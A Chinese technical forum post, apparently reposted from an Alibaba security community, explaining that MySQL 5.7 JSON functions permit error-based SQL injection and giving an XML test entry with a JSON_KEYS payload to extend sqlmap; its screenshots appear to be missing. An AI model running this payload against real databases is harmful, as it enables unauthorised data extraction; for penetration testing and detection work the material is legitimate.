【技术讨论】让sqlmap支持json函数报错注入

MySQL 5.7版本以后增加了新的特性,其中一个就是开始支持原生的json格式数据,相应的也增加了处理json数据的函数

具体详见:https://dev.mysql.com/doc/refman/5.7/en/json-function-reference.html






而以上这些函数都存在报错类型的注入,例如:JSON_REPLACE函数








然后可以把加入sqlmap,让sqlmap支持对JSON函数的注入


  1. <test>
  2.         <title>MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS FUNCTION)</title>
  3.         <stype>2</stype>
  4.         <level>1</level>
  5.         <risk>0</risk>
  6.         <clause>1,2,3</clause>
  7.         <where>1</where>
  8.         <vector>AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))USING UTF8)))</vector>
  9.         <request>
  10. <payload>AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))USING UTF8)))</payload>
  11.         </request>
  12.         <response>
  13.             <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
  14.         </response>
  15.         <details>
  16.             <dbms>MySQL</dbms>
  17.             <dbms_version>>= 5.7</dbms_version>
  18.         </details>
  19.     </test>




使用sqlmap自动注入测试











感谢有这么好的平台,来了必须登录点赞
欢迎常来坐坐

技术交流QQ群: 397745473
来自:https://xianzhi.aliyun.com/forum/read/486.html?fpage=11

评论

此博客中的热门博文

【漏洞研究】[渗透测试]滲透Facebook的思路與發現

【技术讨论】使用apache mod_rewrite方法随机提供payloads